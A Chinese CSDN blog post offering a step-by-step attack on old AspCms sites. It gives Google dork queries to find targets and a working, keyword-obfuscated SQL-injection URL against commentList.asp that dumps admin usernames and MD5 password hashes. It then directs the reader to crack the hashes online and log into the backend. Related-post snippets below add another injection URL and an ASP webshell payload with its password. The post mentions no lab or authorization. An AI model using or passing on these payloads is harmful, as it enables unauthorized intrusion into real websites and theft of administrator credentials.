0day漏洞（aspcms）漏洞实战

最新推荐文章于 2024-08-04 11:12:03 发布
最新推荐文章于 2024-08-04 11:12:03 发布
阅读量3.5k 收藏 1
点赞数
分类专栏： 封神 笔记 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_49071539/article/details/111244759
版权
本文介绍了如何通过谷歌搜索特定关键字找到存在漏洞的AspCms网站，利用注入漏洞获取管理员账户信息。密码通常为MD5加密，可以使用在线解密工具破解。请注意，此方法适用于AspCms的老版本，涉及网络安全和数据安全问题。
摘要由CSDN通过智能技术生成

1. 谷歌搜索关键字
Powered by aspcms.com Copyright ?2010-2011

intitle:Powered by AspCms2

2. 接着利用注入漏洞
/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user

3. 完成上述步骤，即可获得管理员账户，密码。密码为MD5加密。去在线破解一下即可https://www.somd5.com/。

4. 进入后台登录。

注：此漏洞为aspcms老版本中的漏洞。

徐林2333
关注
专栏目录
【漏洞复现】AspCMS commentList.asp SQL注入
失心少年
09-14 1514
技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！AspCMS commentList.asp 存在SQL注入漏洞，攻击者通过漏洞可以获取管理员md5的密码，进行解密后登录获取敏感数据。1.利用如下POC可获取管理员MD5的密码。
aspcms cookies欺骗和后台无验证注入
qq_38807738的博客
06-23 3199
后台文件AspCms_AboutEdit.asp 未进行验证，且未过滤，导致SQL注入。而且纯在cookies欺骗！————————后台注射———————— http://www.webshell.cc/admin/_content/_About/AspCms_AboutEdit.asp?id=1%20and%201=2%20union%20select%201,2,3,4,5,loginname...
【WEB】aspcms漏洞利用
热门推荐
HAPPY
08-18 1万+
【社工方法】（不推荐） 1.首先谷歌关键字 Powered by aspcms.com Copyright ?2010-2011 的漏洞，果然功夫不负有心人 2.接着利用注入漏洞 /plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password...
ASPCMS漏洞之文件上传漏洞
最新发布
weixin_57240513的博客
08-04 351
ASPCMS是由上⾕⽹络开发的全新内核的开源企业建站系统，能够胜任企业多种建站需求，并且⽀持模版⾃定义、⽀持扩展插件等等，能够在短时间内完成 企业建站。
最新0day！！用友U8-Cloud UploadFile接口存在任意文件读取漏洞
weixin_43167326的博客
04-02 705
U8 cloud 聚焦成长型、创新型企业的云 ERP，基于全新的企业互联网应用设计理念，为企业提供集人财物客、产供销于一体的云 ERP 整体解决方案，全面支持多组织业务协同、智能财务，人力服务、构建产业链智造平台，融合用友云服务实现企业互联网资源连接、共享、协同。该系统存在任何文件读取漏洞。
ASPCMS 漏洞详细教程
2201_75891821的博客
08-03 360
将slideTextStatus的值修改为1%25><%25Eval(Request(chr(65)))25><%25 放包（连接密码是a）然后用工具连接 成功连接。
常见cms漏洞之ASPCMS
ineedmoreMuQ的博客
08-03 405
漏洞复现，使用后台配置文件拿shell。
Web安全Day1 - SQL注入实战攻防
hongrisec的博客
02-20 3170
声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！ 本专题文章导航 1.Web安全Day1 - SQL注入实战攻防 https://mp.weixin.qq.com/s/zP0MZNhnZG_S9aoHDXzvWA 1. SQL注入 1.1 漏洞简介 结构化查询语言（Structured Query Language...
Penetration_Testing_POC-About 渗透测试有关的POC、EXP、脚本、提权、小工具等
weixin_46280935的博客
09-10 5591
Penetration_Testing_POC 搜集有关渗透测试中用到的POC、脚本、工具、文章等姿势分享，作为笔记吧，欢迎补充。 Penetration_Testing_POC 请善用搜索[Ctrl+F]查找 IOT Device&Mobile Phone Web APP 提权辅助相关 PC tools-小工具集合 文章/书籍/教程相关 说明 请善用搜索[Ctrl+F]查找 IOT Device&Mobile Phone 天翼创维awifi路由器存在多处未授权访问漏
[红日安全]Web安全Day5 - 任意文件上传实战攻防
hongrisec的博客
02-26 1264
本文由红日安全成员： MisakiKata 编写，如有不当，还望斧正。 大家好，我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享，还包含一个HTB靶场供大家练习，我们给这个项目起了一个名字叫 Web安全实战 ，希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法（手工测试，工具测试）-靶场测试（分为PHP靶场、JAVA靶场、P...
vulhub通关实战一（附docker vulhub 虚拟机环境）
悦分享
12-26 1651
docker vulhub 虚拟机环境：docker-compose up -d 启动服务：登录7001端口用户名weblogic，密码Oracle@123。
修正的ASPCMS投票系统, V2.0版本（已修正IP限制、后台自动登录 去漏洞）
03-12
修正的ASPCMS投票系统, V2.0版本（已修正IP限制、后台自动登录 去漏洞）
aspcms绕过进入后台
04-11
aspcms绕过进入后台
批量注入ASPCMS获得管理后台权限
08-25
批量注入ASPCMS获得管理后台权限，很好的东西
aspcms爆后台地址
05-17
aspcms爆后台地址，秒杀老版本，修改后台地址一样能跳到真实地址
最新ASPCMS 0DAY利用工具(附VB源码)
03-25
详细使用方法在软件窗体内已经写好,直接编译执行即可使用.截止12-3-25日仍有效. 这是一个0day的EXP最好实例.
网络安全事件应急响应实战二
悦分享
09-14 1万+
当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时，急需第一时间进行处理，使企业的网络信息系统在最短时间内恢复正常工作，进一步查找入侵来源，还原入侵事故过程，同时给出解决方案与防范措施，为企业。新闻源网站一般权重较高，收录快，能够被搜索引擎优先收录，是黑灰产推广引流的必争之地，很容易成为被攻击的对象。短连接（short connnection）是相对于长连接而言的概念，指的是在数据传送过程中，只在需要发送数据时，才去建立一个连接，数据发送完成后，则断开此连接，即每次连接只完成一项业务的发送。
复现 ASPCMS企业建站系统Cookies欺骗漏洞
记录并分享学习安全的知识点..
08-21 931
ASPCMS是基于ASP+Access(sql2000)开发的网站内容管理系统。 ASPCMS2.0存在sql注入注入漏洞，可获得admin管理员用户的cookie值。
ASPCMS 漏洞
weixin_69065643的博客
08-03 365
将slideTextStatus的值修改为1%25>
Bluecms 0day 漏洞集合：注入漏洞分析
"这篇文档是关于Bluecms的0day漏洞集合，由用户‘西毒’分享。文章中提到了Bluecms的一个注入漏洞，该漏洞源于客户端IP（client_ip）和X-Forwarded-For头可以被伪造，导致在include/common.fun.php的getip()函数中...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值